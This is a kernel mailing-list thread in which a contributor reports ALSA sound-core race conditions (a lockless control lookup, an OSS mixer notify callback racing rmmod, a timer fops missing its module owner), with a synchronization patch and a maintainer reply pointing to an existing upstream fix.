> > The detailed description:
> >
> > * Test environment / affected version
> >
> > Source analysis against mainline 7.3; no dynamic reproducer was run
> > for this case. The related sound/core report was produced on a 7.3
> > KASAN kernel, but that run does not cover MR-05.
> >
> > * Root cause
> >
> > sound/core/ctljack.c:31-46 (get_available_index):
> >
> > static int get_available_index(struct snd_card *card, const char *name)
> > {
> > struct snd_ctl_elem_id sid;
> > memset(&sid, 0, sizeof(sid));
> > sid.index = 0;
> > sid.iface = SNDRV_CTL_ELEM_IFACE_CARD;
> > strscpy(sid.name, name, sizeof(sid.name));
> >
> > while (snd_ctl_find_id(card, &sid)) { /* no controls_rwsem */
> > sid.index++;
> > sid.numid = 0;
> > }
> > return sid.index;
> > }
> >
> > sound/core/control.c:843-868 (snd_ctl_find_id) documents that it
> > takes card->controls_rwlock internally, but the
> > CONFIG_SND_CTL_FAST_LOOKUP fast path does xa_load() and
> > elem_id_matches() without taking it; only the fallback list walk takes
> > read_lock_irqsave(). __snd_ctl_remove() (control.c:581-601) runs
> > under controls_rwsem write, calls remove_hash_entries(card, kcontrol),
> > then snd_ctl_free_one(kcontrol) -> kfree(). Thus a lockless
> > xa_load() can observe a kcontrol that is about to be freed, and
> > elem_id_matches() can read it afterwards.
> >
> > Upstream snd_kctl_jack_new() has:
> >
> > guard(rwsem_read)(&card->controls_rwsem);
> >
> > before calling get_available_index(); the current tree removed it.
> >
> > * Reachability
> >
> > - get_available_index() is called from snd_kctl_jack_new()
> > (ctljack.c:62-77), which is called by snd_jack_kctl_new()
> > (jack.c:426-456) and snd_jack_add_new_kctl() (jack.c:468-478).
> > - Runtime caller: sound/soc/ti/ams-delta.c:361 calls
> > snd_soc_jack_add_pins() from the tty line discipline receive path;
> > snd_soc_jack_add_pins() (sound/soc/soc-jack.c:155) calls
> > snd_jack_add_new_kctl() after the card is registered.
> > - A user with write access to /dev/snd/controlC* can add and remove
> > SNDRV_CTL_ELEM_ACCESS_USER controls with iface
> > SNDRV_CTL_ELEM_IFACE_CARD and an arbitrary name
> > (snd_ctl_elem_add()/snd_ctl_remove_user_ctl(), control.c:662-678).
> > A control with the same name as the jack kcontrol is the concurrent
> > object.
> >
> > Conditions: CONFIG_SND_CTL_FAST_LOOKUP=y (otherwise the fallback walk
> > holds the read lock and the UAF does not apply); a runtime jack-pin
> > addition path; a concurrent control add/remove with a colliding name.
> > The race window is small, but the missing lock makes it a kernel bug
> > regardless of reproducibility.
> >
> > * Impact
> >
> > elem_id_matches() reads kcontrol->id.name/iface/index from freed
> > memory: KASAN use-after-free read, potential crash or limited
> > information exposure. A second, non-memory-safety symptom is two
> > jack kcontrols choosing the same index; the later snd_ctl_add()
> > returns -EBUSY, so jack creation fails.
> >
> > * Suggested direction
> >
> > Hold controls_rwsem for reading across the get_available_index() loop,
> > e.g. restore the upstream guard in snd_kctl_jack_new() (the lock must
> > be released before snd_ctl_add(), which takes the write side).
> >
> >
> > Please keep me in Cc; I am not subscribed to the lists.
> >
> > Regards,
> > Hanxiang Xu
> > xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread
* sound: core: OSS mixer notify callback is invoked without module pin or mutex, racing with rmmod
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (11 preceding siblings ...)
2026-11-22 7:55 ` sound: core: get_available_index() calls snd_ctl_find_id() without controls_rwsem (UAF risk) 徐晗翔
@ 2026-11-22 7:56 ` 徐晗翔
2026-11-25 12:47 ` [PATCH] " 徐晗翔
2026-11-22 7:57 ` sound: timer: snd_utimer_fops lacks .owner, so an open user timer fd does not pin snd-timer 徐晗翔
` (28 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-11-22 7:56 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
snd_mixer_oss_notify_callback is a bare exported function pointer. The
card core calls it from snd_card_register(), snd_card_disconnect() and
snd_card_do_free() without any mutex and without taking a reference to
the snd-mixer-oss module. alsa_mixer_oss_exit() sets the pointer to NULL
and then walks all cards calling SND_MIXER_OSS_NOTIFY_FREE, which frees
card->mixer_oss. A card thread can read the non-NULL pointer, be
preempted, let rmmod finish unloading the module, and then call the old
function pointer -- executing code from the unloaded module. The same
lack of serialization allows the module's exit FREE walk and the card's
do_free FREE callback to race and double-free card->mixer_oss.
Upstream avoids this with a static mixer_oss_notify_mutex plus
snd_mixer_oss_notify()/snd_mixer_oss_set_notify() wrappers; the exit path
clears the pointer under that mutex, so in-flight callbacks (including
their final module_put()) finish before unload. This tree exports the
raw pointer and calls it directly in three places.
This is a static report: the race is plain in the source, but I did not
build a dynamic reproducer for it. The requirement is
CONFIG_SND_MIXER_OSS=m so that an rmmod path exists.
The detailed description:
* Test environment / affected version
Source analysis against mainline 7.3; no dynamic reproducer was run
for this case.
* Root cause
sound/core/init.c:85-86:
int (*snd_mixer_oss_notify_callback)(struct snd_card *card, int free_flag);
EXPORT_SYMBOL(snd_mixer_oss_notify_callback);
direct calls:
- init.c:533-535 in snd_card_disconnect():
if (snd_mixer_oss_notify_callback)
snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_DISCONNECT);
- init.c:590-591 in snd_card_do_free():
if (snd_mixer_oss_notify_callback)
snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_FREE);
- init.c:935-936 in snd_card_register():
if (snd_mixer_oss_notify_callback)
snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_REGISTER);
module side:
- sound/core/oss/mixer_oss.c:1370:
snd_mixer_oss_notify_callback = snd_mixer_oss_notify_handler;
- mixer_oss.c:1386-1394 (alsa_mixer_oss_exit):
snd_mixer_oss_notify_callback = NULL;
for each card: snd_mixer_oss_notify_handler(card, SND_MIXER_OSS_NOTIFY_FREE);
The FREE handler (mixer_oss.c:1308-1360) takes card->mixer_oss, frees
it and sets card->mixer_oss = NULL. There is no lock around the
pointer read/call or around the mixer_oss pointer, and no module
reference is taken by the callback path. snd_mixer_oss_open()
(mixer_oss.c:57/73) takes try_module_get(card->module), not this
module; the OSS mixer file's .owner may pin the module only while such
an fd is open, so rmmod is possible with no OSS fd.
* Failure modes
1. Unloaded-code execution: card thread reads a non-NULL callback,
preempted; rmmod runs exit, sets NULL, unloads; card thread resumes
and calls into unmapped module text.
2. Double FREE: alsa_mixer_oss_exit() and snd_card_do_free() both
invoke the FREE callback for the same card. Both can read
card->mixer_oss before either sets it NULL and kfree() the same
object; or one frees while the other is inside the handler.
3. Card register/disconnect during rmmod can leave the pointer
cleared but a concurrent call already in flight with no completion
wait.
* Trigger model
- CONFIG_SND_MIXER_OSS=m (built-in has no unload path);
- one thread registers/disconnects/frees a card, another thread runs
rmmod snd-mixer-oss;
- the card thread must read the callback before the exit store and
reach the indirect call after unload, or both threads must reach the
FREE path concurrently.
Hotplug/unbind plus module unload is a realistic administration
sequence. It is a narrow but real race; the upstream mutex exists for
exactly this reason.
* Impact
- call into unloaded module text: UAF execution, kernel crash,
potential code execution if the address is reused;
- double free of card->mixer_oss: heap corruption;
- at minimum rmmod/hotplug crash.
* Suggested direction
Restore the upstream synchronization: a static mixer_oss_notify_mutex,
snd_mixer_oss_notify(card, cmd) that takes the mutex and checks the
pointer, and snd_mixer_oss_set_notify() used by the module init/exit to
install/clear the pointer under the same mutex. Ensure the exit path
waits for in-flight callbacks (including their module_put()) before
the module text is freed.
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* [PATCH] Re: sound: core: OSS mixer notify callback is invoked without module pin or mutex, racing with rmmod
2026-11-22 7:56 ` sound: core: OSS mixer notify callback is invoked without module pin or mutex, racing with rmmod 徐晗翔
@ 2026-11-25 12:47 ` 徐晗翔
2026-11-25 14:16 ` Takashi Iwai
0 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-11-25 12:47 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
snd_mixer_oss_notify_callback is a bare exported function pointer
called by the card core without any mutex and without pinning the
snd-mixer-oss module: a card thread could read the non-NULL
pointer, be preempted, let rmmod clear it and unload, and then call
into unloaded module text; and the module exit FREE walk could race
snd_card_do_free()'s FREE callback into a double free of
card->mixer_oss.
Restore the upstream synchronization: a static
mixer_oss_notify_mutex, an internal snd_mixer_oss_notify(card, cmd)
that takes the mutex and checks the pointer (used by the
register/disconnect/free paths), and an exported
snd_mixer_oss_set_notify() that the module uses to install/clear
the callback under the same mutex -- so the exit path waits for
in-flight callbacks (including their module_put()) before the
module text is freed.
---
sound/core/init.c | 38 ++++++++++++++++++++++++++++++--------
include/sound/core.h | 5 ++++-
sound/core/oss/mixer_oss.c | 11 +++++++++--
3 files changed, 43 insertions(+), 11 deletions(-)
diff --git a/sound/core/init.c b/sound/core/init.c
--- a/sound/core/init.c
+++ b/sound/core/init.c
@@ -82,8 +82,33 @@
}
#if IS_ENABLED(CONFIG_SND_MIXER_OSS)
-int (*snd_mixer_oss_notify_callback)(struct snd_card *card, int free_flag);
-EXPORT_SYMBOL(snd_mixer_oss_notify_callback);
+/*
+ * The mixer-oss notify callback is invoked from the card core paths
+ * (register, disconnect, free) with no other serialization available.
+ * Call it through snd_mixer_oss_notify(), which takes a static mutex and
+ * checks the pointer under it: this keeps a callback in flight until it
+ * completes, so the snd-mixer-oss module can clear the pointer and wait
+ * for in-flight callbacks in its exit path instead of racing rmmod
+ * (call into unloaded module text) and double FREE walks
+ * (double free of card->mixer_oss).
+ */
+static DEFINE_MUTEX(mixer_oss_notify_mutex);
+static int (*snd_mixer_oss_notify_callback)(struct snd_card *card, int cmd);
+
+static int snd_mixer_oss_notify(struct snd_card *card, int cmd)
+{
+ guard(mutex)(&mixer_oss_notify_mutex);
+ if (snd_mixer_oss_notify_callback)
+ return snd_mixer_oss_notify_callback(card, cmd);
+ return 0;
+}
+
+void snd_mixer_oss_set_notify(int (*callback)(struct snd_card *card, int cmd))
+{
+ guard(mutex)(&mixer_oss_notify_mutex);
+ snd_mixer_oss_notify_callback = callback;
+}
+EXPORT_SYMBOL_GPL(snd_mixer_oss_set_notify);
#endif
static int check_empty_slot(struct module *module, int slot)
@@ -530,8 +555,7 @@
/* at this point, they cannot respond to any calls except release() */
#if IS_ENABLED(CONFIG_SND_MIXER_OSS)
- if (snd_mixer_oss_notify_callback)
- snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_DISCONNECT);
+ snd_mixer_oss_notify(card, SND_MIXER_OSS_NOTIFY_DISCONNECT);
#endif
/* notify all devices that we are disconnected */
@@ -587,8 +611,7 @@
card->releasing = true;
#if IS_ENABLED(CONFIG_SND_MIXER_OSS)
- if (snd_mixer_oss_notify_callback)
- snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_FREE);
+ snd_mixer_oss_notify(card, SND_MIXER_OSS_NOTIFY_FREE);
#endif
snd_device_free_all(card);
kfree(card->components);
@@ -932,8 +955,7 @@
return err;
#if IS_ENABLED(CONFIG_SND_MIXER_OSS)
- if (snd_mixer_oss_notify_callback)
- snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_REGISTER);
+ snd_mixer_oss_notify(card, SND_MIXER_OSS_NOTIFY_REGISTER);
#endif
return 0;
}
diff --git a/include/sound/core.h b/include/sound/core.h
--- a/include/sound/core.h
+++ b/include/sound/core.h
@@ -300,7 +300,10 @@
#define SND_MIXER_OSS_NOTIFY_REGISTER 0
#define SND_MIXER_OSS_NOTIFY_DISCONNECT 1
#define SND_MIXER_OSS_NOTIFY_FREE 2
-extern int (*snd_mixer_oss_notify_callback)(struct snd_card *card, int cmd);
+/* install/clear the mixer-oss notify callback; the core serializes all
+ * callbacks through a static mutex, so the module's exit path can wait
+ * for in-flight callbacks before its text is unloaded */
+void snd_mixer_oss_set_notify(int (*callback)(struct snd_card *card, int cmd));
#endif
int snd_card_new(struct device *parent, int idx, const char *xid,
diff --git a/sound/core/oss/mixer_oss.c b/sound/core/oss/mixer_oss.c
--- a/sound/core/oss/mixer_oss.c
+++ b/sound/core/oss/mixer_oss.c
@@ -1367,7 +1367,7 @@
struct snd_card *card;
int idx;
- snd_mixer_oss_notify_callback = snd_mixer_oss_notify_handler;
+ snd_mixer_oss_set_notify(snd_mixer_oss_notify_handler);
for (idx = 0; idx < SNDRV_CARDS; idx++) {
card = snd_card_ref(idx);
if (card) {
@@ -1383,7 +1383,14 @@
struct snd_card *card;
int idx;
- snd_mixer_oss_notify_callback = NULL;
+ /* clear the callback through the core helper: it stores NULL under
+ * the notify mutex, so any in-flight callback (which holds the
+ * same mutex) has completed before we proceed, and the card core
+ * can no longer call into this module while it is being unloaded.
+ * This also makes the FREE walk below the only FREE invocation,
+ * instead of racing the card core's snd_card_do_free() on the same
+ * card->mixer_oss (double free). */
+ snd_mixer_oss_set_notify(NULL);
for (idx = 0; idx < SNDRV_CARDS; idx++) {
card = snd_card_ref(idx);
if (card) {
> -----原始邮件-----
> 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> 发送时间:2026-11-22 15:56:37 (星期日)
> 收件人: perex@perex.cz, tiwai@suse.com
> 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: sound: core: OSS mixer notify callback is invoked without module pin or mutex, racing with rmmod
>
> snd_mixer_oss_notify_callback is a bare exported function pointer. The
> card core calls it from snd_card_register(), snd_card_disconnect() and
> snd_card_do_free() without any mutex and without taking a reference to
> the snd-mixer-oss module. alsa_mixer_oss_exit() sets the pointer to NULL
> and then walks all cards calling SND_MIXER_OSS_NOTIFY_FREE, which frees
> card->mixer_oss. A card thread can read the non-NULL pointer, be
> preempted, let rmmod finish unloading the module, and then call the old
> function pointer -- executing code from the unloaded module. The same
> lack of serialization allows the module's exit FREE walk and the card's
> do_free FREE callback to race and double-free card->mixer_oss.
>
> Upstream avoids this with a static mixer_oss_notify_mutex plus
> snd_mixer_oss_notify()/snd_mixer_oss_set_notify() wrappers; the exit path
> clears the pointer under that mutex, so in-flight callbacks (including
> their final module_put()) finish before unload. This tree exports the
> raw pointer and calls it directly in three places.
>
> This is a static report: the race is plain in the source, but I did not
> build a dynamic reproducer for it. The requirement is
> CONFIG_SND_MIXER_OSS=m so that an rmmod path exists.
>
> The detailed description:
>
> * Test environment / affected version
>
> Source analysis against mainline 7.3; no dynamic reproducer was run
> for this case.
>
> * Root cause
>
> sound/core/init.c:85-86:
>
> int (*snd_mixer_oss_notify_callback)(struct snd_card *card, int free_flag);
> EXPORT_SYMBOL(snd_mixer_oss_notify_callback);
>
> direct calls:
>
> - init.c:533-535 in snd_card_disconnect():
> if (snd_mixer_oss_notify_callback)
> snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_DISCONNECT);
> - init.c:590-591 in snd_card_do_free():
> if (snd_mixer_oss_notify_callback)
> snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_FREE);
> - init.c:935-936 in snd_card_register():
> if (snd_mixer_oss_notify_callback)
> snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_REGISTER);
>
> module side:
>
> - sound/core/oss/mixer_oss.c:1370:
> snd_mixer_oss_notify_callback = snd_mixer_oss_notify_handler;
> - mixer_oss.c:1386-1394 (alsa_mixer_oss_exit):
> snd_mixer_oss_notify_callback = NULL;
> for each card: snd_mixer_oss_notify_handler(card, SND_MIXER_OSS_NOTIFY_FREE);
>
> The FREE handler (mixer_oss.c:1308-1360) takes card->mixer_oss, frees
> it and sets card->mixer_oss = NULL. There is no lock around the
> pointer read/call or around the mixer_oss pointer, and no module
> reference is taken by the callback path. snd_mixer_oss_open()
> (mixer_oss.c:57/73) takes try_module_get(card->module), not this
> module; the OSS mixer file's .owner may pin the module only while such
> an fd is open, so rmmod is possible with no OSS fd.
>
> * Failure modes
>
> 1. Unloaded-code execution: card thread reads a non-NULL callback,
> preempted; rmmod runs exit, sets NULL, unloads; card thread resumes
> and calls into unmapped module text.
> 2. Double FREE: alsa_mixer_oss_exit() and snd_card_do_free() both
> invoke the FREE callback for the same card. Both can read
> card->mixer_oss before either sets it NULL and kfree() the same
> object; or one frees while the other is inside the handler.
> 3. Card register/disconnect during rmmod can leave the pointer
> cleared but a concurrent call already in flight with no completion
> wait.
>
> * Trigger model
>
> - CONFIG_SND_MIXER_OSS=m (built-in has no unload path);
> - one thread registers/disconnects/frees a card, another thread runs
> rmmod snd-mixer-oss;
> - the card thread must read the callback before the exit store and
> reach the indirect call after unload, or both threads must reach the
> FREE path concurrently.
>
> Hotplug/unbind plus module unload is a realistic administration
> sequence. It is a narrow but real race; the upstream mutex exists for
> exactly this reason.
>
> * Impact
>
> - call into unloaded module text: UAF execution, kernel crash,
> potential code execution if the address is reused;
> - double free of card->mixer_oss: heap corruption;
> - at minimum rmmod/hotplug crash.
>
> * Suggested direction
>
> Restore the upstream synchronization: a static mixer_oss_notify_mutex,
> snd_mixer_oss_notify(card, cmd) that takes the mutex and checks the
> pointer, and snd_mixer_oss_set_notify() used by the module init/exit to
> install/clear the pointer under the same mutex. Ensure the exit path
> waits for in-flight callbacks (including their module_put()) before
> the module text is freed.
>
>
> Please keep me in Cc; I am not subscribed to the lists.
>
> Regards,
> Hanxiang Xu
> xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] Re: sound: core: OSS mixer notify callback is invoked without module pin or mutex, racing with rmmod
2026-11-25 12:47 ` [PATCH] " 徐晗翔
@ 2026-11-25 14:16 ` Takashi Iwai
0 siblings, 0 replies; 101+ messages in thread
From: Takashi Iwai @ 2026-11-25 14:16 UTC (permalink / raw)
To: 徐晗翔; +Cc: perex, tiwai, linux-sound, linux-kernel
On Wed, 25 Nov 2026 13:47:43 +0100,
徐晗翔 wrote:
>
> snd_mixer_oss_notify_callback is a bare exported function pointer
> called by the card core without any mutex and without pinning the
> snd-mixer-oss module: a card thread could read the non-NULL
> pointer, be preempted, let rmmod clear it and unload, and then call
> into unloaded module text; and the module exit FREE walk could race
> snd_card_do_free()'s FREE callback into a double free of
> card->mixer_oss.
>
> Restore the upstream synchronization: a static
> mixer_oss_notify_mutex, an internal snd_mixer_oss_notify(card, cmd)
> that takes the mutex and checks the pointer (used by the
> register/disconnect/free paths), and an exported
> snd_mixer_oss_set_notify() that the module uses to install/clear
> the callback under the same mutex -- so the exit path waits for
> in-flight callbacks (including their module_put()) before the
> module text is freed.
This should have been already fixed by the upstream commit
f0780cfa6acf.
thanks,
Takashi
> ---
> sound/core/init.c | 38 ++++++++++++++++++++++++++++++--------
> include/sound/core.h | 5 ++++-
> sound/core/oss/mixer_oss.c | 11 +++++++++--
> 3 files changed, 43 insertions(+), 11 deletions(-)
>
> diff --git a/sound/core/init.c b/sound/core/init.c
> --- a/sound/core/init.c
> +++ b/sound/core/init.c
> @@ -82,8 +82,33 @@
> }
>
> #if IS_ENABLED(CONFIG_SND_MIXER_OSS)
> -int (*snd_mixer_oss_notify_callback)(struct snd_card *card, int free_flag);
> -EXPORT_SYMBOL(snd_mixer_oss_notify_callback);
> +/*
> + * The mixer-oss notify callback is invoked from the card core paths
> + * (register, disconnect, free) with no other serialization available.
> + * Call it through snd_mixer_oss_notify(), which takes a static mutex and
> + * checks the pointer under it: this keeps a callback in flight until it
> + * completes, so the snd-mixer-oss module can clear the pointer and wait
> + * for in-flight callbacks in its exit path instead of racing rmmod
> + * (call into unloaded module text) and double FREE walks
> + * (double free of card->mixer_oss).
> + */
> +static DEFINE_MUTEX(mixer_oss_notify_mutex);
> +static int (*snd_mixer_oss_notify_callback)(struct snd_card *card, int cmd);
> +
> +static int snd_mixer_oss_notify(struct snd_card *card, int cmd)
> +{
> + guard(mutex)(&mixer_oss_notify_mutex);
> + if (snd_mixer_oss_notify_callback)
> + return snd_mixer_oss_notify_callback(card, cmd);
> + return 0;
> +}
> +
> +void snd_mixer_oss_set_notify(int (*callback)(struct snd_card *card, int cmd))
> +{
> + guard(mutex)(&mixer_oss_notify_mutex);
> + snd_mixer_oss_notify_callback = callback;
> +}
> +EXPORT_SYMBOL_GPL(snd_mixer_oss_set_notify);
> #endif
>
> static int check_empty_slot(struct module *module, int slot)
> @@ -530,8 +555,7 @@
> /* at this point, they cannot respond to any calls except release() */
>
> #if IS_ENABLED(CONFIG_SND_MIXER_OSS)
> - if (snd_mixer_oss_notify_callback)
> - snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_DISCONNECT);
> + snd_mixer_oss_notify(card, SND_MIXER_OSS_NOTIFY_DISCONNECT);
> #endif
>
> /* notify all devices that we are disconnected */
> @@ -587,8 +611,7 @@
>
> card->releasing = true;
> #if IS_ENABLED(CONFIG_SND_MIXER_OSS)
> - if (snd_mixer_oss_notify_callback)
> - snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_FREE);
> + snd_mixer_oss_notify(card, SND_MIXER_OSS_NOTIFY_FREE);
> #endif
> snd_device_free_all(card);
> kfree(card->components);
> @@ -932,8 +955,7 @@
> return err;
>
> #if IS_ENABLED(CONFIG_SND_MIXER_OSS)
> - if (snd_mixer_oss_notify_callback)
> - snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_REGISTER);
> + snd_mixer_oss_notify(card, SND_MIXER_OSS_NOTIFY_REGISTER);
> #endif
> return 0;
> }
> diff --git a/include/sound/core.h b/include/sound/core.h
> --- a/include/sound/core.h
> +++ b/include/sound/core.h
> @@ -300,7 +300,10 @@
> #define SND_MIXER_OSS_NOTIFY_REGISTER 0
> #define SND_MIXER_OSS_NOTIFY_DISCONNECT 1
> #define SND_MIXER_OSS_NOTIFY_FREE 2
> -extern int (*snd_mixer_oss_notify_callback)(struct snd_card *card, int cmd);
> +/* install/clear the mixer-oss notify callback; the core serializes all
> + * callbacks through a static mutex, so the module's exit path can wait
> + * for in-flight callbacks before its text is unloaded */
> +void snd_mixer_oss_set_notify(int (*callback)(struct snd_card *card, int cmd));
> #endif
>
> int snd_card_new(struct device *parent, int idx, const char *xid,
> diff --git a/sound/core/oss/mixer_oss.c b/sound/core/oss/mixer_oss.c
> --- a/sound/core/oss/mixer_oss.c
> +++ b/sound/core/oss/mixer_oss.c
> @@ -1367,7 +1367,7 @@
> struct snd_card *card;
> int idx;
>
> - snd_mixer_oss_notify_callback = snd_mixer_oss_notify_handler;
> + snd_mixer_oss_set_notify(snd_mixer_oss_notify_handler);
> for (idx = 0; idx < SNDRV_CARDS; idx++) {
> card = snd_card_ref(idx);
> if (card) {
> @@ -1383,7 +1383,14 @@
> struct snd_card *card;
> int idx;
>
> - snd_mixer_oss_notify_callback = NULL;
> + /* clear the callback through the core helper: it stores NULL under
> + * the notify mutex, so any in-flight callback (which holds the
> + * same mutex) has completed before we proceed, and the card core
> + * can no longer call into this module while it is being unloaded.
> + * This also makes the FREE walk below the only FREE invocation,
> + * instead of racing the card core's snd_card_do_free() on the same
> + * card->mixer_oss (double free). */
> + snd_mixer_oss_set_notify(NULL);
> for (idx = 0; idx < SNDRV_CARDS; idx++) {
> card = snd_card_ref(idx);
> if (card) {
>
>
> > -----原始邮件-----
> > 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> > 发送时间:2026-11-22 15:56:37 (星期日)
> > 收件人: perex@perex.cz, tiwai@suse.com
> > 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> > 主题: sound: core: OSS mixer notify callback is invoked without module pin or mutex, racing with rmmod
> >
> > snd_mixer_oss_notify_callback is a bare exported function pointer. The
> > card core calls it from snd_card_register(), snd_card_disconnect() and
> > snd_card_do_free() without any mutex and without taking a reference to
> > the snd-mixer-oss module. alsa_mixer_oss_exit() sets the pointer to NULL
> > and then walks all cards calling SND_MIXER_OSS_NOTIFY_FREE, which frees
> > card->mixer_oss. A card thread can read the non-NULL pointer, be
> > preempted, let rmmod finish unloading the module, and then call the old
> > function pointer -- executing code from the unloaded module. The same
> > lack of serialization allows the module's exit FREE walk and the card's
> > do_free FREE callback to race and double-free card->mixer_oss.
> >
> > Upstream avoids this with a static mixer_oss_notify_mutex plus
> > snd_mixer_oss_notify()/snd_mixer_oss_set_notify() wrappers; the exit path
> > clears the pointer under that mutex, so in-flight callbacks (including
> > their final module_put()) finish before unload. This tree exports the
> > raw pointer and calls it directly in three places.
> >
> > This is a static report: the race is plain in the source, but I did not
> > build a dynamic reproducer for it. The requirement is
> > CONFIG_SND_MIXER_OSS=m so that an rmmod path exists.
> >
> > The detailed description:
> >
> > * Test environment / affected version
> >
> > Source analysis against mainline 7.3; no dynamic reproducer was run
> > for this case.
> >
> > * Root cause
> >
> > sound/core/init.c:85-86:
> >
> > int (*snd_mixer_oss_notify_callback)(struct snd_card *card, int free_flag);
> > EXPORT_SYMBOL(snd_mixer_oss_notify_callback);
> >
> > direct calls:
> >
> > - init.c:533-535 in snd_card_disconnect():
> > if (snd_mixer_oss_notify_callback)
> > snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_DISCONNECT);
> > - init.c:590-591 in snd_card_do_free():
> > if (snd_mixer_oss_notify_callback)
> > snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_FREE);
> > - init.c:935-936 in snd_card_register():
> > if (snd_mixer_oss_notify_callback)
> > snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_REGISTER);
> >
> > module side:
> >
> > - sound/core/oss/mixer_oss.c:1370:
> > snd_mixer_oss_notify_callback = snd_mixer_oss_notify_handler;
> > - mixer_oss.c:1386-1394 (alsa_mixer_oss_exit):
> > snd_mixer_oss_notify_callback = NULL;
> > for each card: snd_mixer_oss_notify_handler(card, SND_MIXER_OSS_NOTIFY_FREE);
> >
> > The FREE handler (mixer_oss.c:1308-1360) takes card->mixer_oss, frees
> > it and sets card->mixer_oss = NULL. There is no lock around the
> > pointer read/call or around the mixer_oss pointer, and no module
> > reference is taken by the callback path. snd_mixer_oss_open()
> > (mixer_oss.c:57/73) takes try_module_get(card->module), not this
> > module; the OSS mixer file's .owner may pin the module only while such
> > an fd is open, so rmmod is possible with no OSS fd.
> >
> > * Failure modes
> >
> > 1. Unloaded-code execution: card thread reads a non-NULL callback,
> > preempted; rmmod runs exit, sets NULL, unloads; card thread resumes
> > and calls into unmapped module text.
> > 2. Double FREE: alsa_mixer_oss_exit() and snd_card_do_free() both
> > invoke the FREE callback for the same card. Both can read
> > card->mixer_oss before either sets it NULL and kfree() the same
> > object; or one frees while the other is inside the handler.
> > 3. Card register/disconnect during rmmod can leave the pointer
> > cleared but a concurrent call already in flight with no completion
> > wait.
> >
> > * Trigger model
> >
> > - CONFIG_SND_MIXER_OSS=m (built-in has no unload path);
> > - one thread registers/disconnects/frees a card, another thread runs
> > rmmod snd-mixer-oss;
> > - the card thread must read the callback before the exit store and
> > reach the indirect call after unload, or both threads must reach the
> > FREE path concurrently.
> >
> > Hotplug/unbind plus module unload is a realistic administration
> > sequence. It is a narrow but real race; the upstream mutex exists for
> > exactly this reason.
> >
> > * Impact
> >
> > - call into unloaded module text: UAF execution, kernel crash,
> > potential code execution if the address is reused;
> > - double free of card->mixer_oss: heap corruption;
> > - at minimum rmmod/hotplug crash.
> >
> > * Suggested direction
> >
> > Restore the upstream synchronization: a static mixer_oss_notify_mutex,
> > snd_mixer_oss_notify(card, cmd) that takes the mutex and checks the
> > pointer, and snd_mixer_oss_set_notify() used by the module init/exit to
> > install/clear the pointer under the same mutex. Ensure the exit path
> > waits for in-flight callbacks (including their module_put()) before
> > the module text is freed.
> >
> >
> > Please keep me in Cc; I am not subscribed to the lists.
> >
> > Regards,
> > Hanxiang Xu
> > xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread
* sound: timer: snd_utimer_fops lacks .owner, so an open user timer fd does not pin snd-timer
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (12 preceding siblings ...)
2026-11-22 7:56 ` sound: core: OSS mixer notify callback is invoked without module pin or mutex, racing with rmmod 徐晗翔
@ 2026-11-22 7:57 ` 徐晗翔
2026-11-25 12:48 ` [PATCH] " 徐晗翔
2026-12-01 3:22 ` [PATCH 0/2] ALSA: emux: fix use-after-free of soundfont zones/samples between snd_emux_note_on() and soundfont removal paths (UAF) 徐晗翔
` (27 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-11-22 7:57 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
SNDRV_TIMER_IOCTL_CREATE creates a user-driven timer and returns an
anonymous inode fd whose file_operations is snd_utimer_fops. That
structure has no .owner = THIS_MODULE. anon_inode_getfile() only calls
try_module_get(fops->owner) when owner is non-NULL, so the fd does not
hold a reference to the snd-timer module. The module can be unloaded
while the fd is still open; a later ioctl(SNDRV_TIMER_IOCTL_TRIGGER) or
close(fd) calls snd_utimer_trigger()/snd_utimer_release() in unloaded
module text.
The module field does not save this path: utimer->timer->module is set
to THIS_MODULE in snd_timer_new(), but try_module_get() is only called by
snd_timer_open(), and a utimer fd never goes through snd_timer_open().
snd_utimer_create() also calls snd_timer_new(NULL, ...), so with card ==
NULL it does not go through snd_device_new(); snd_timer_global_register()
(timer.c:1188-1194) only does the device-list insertion and takes no
module reference.
This is a static report: the missing .owner and the anon_inode lifetime
are unambiguous, but I did not build a dynamic reproducer (it requires
CONFIG_SND_TIMER=m together with CONFIG_SND_UTIMER=y).
The detailed description:
* Test environment / affected version
Source analysis against mainline 7.3; no dynamic reproducer was run
for this case.
* Root cause
sound/core/timer.c:2175-2179:
static const struct file_operations snd_utimer_fops = {
.llseek = noop_llseek,
.release = snd_utimer_release,
.unlocked_ioctl = snd_utimer_ioctl,
};
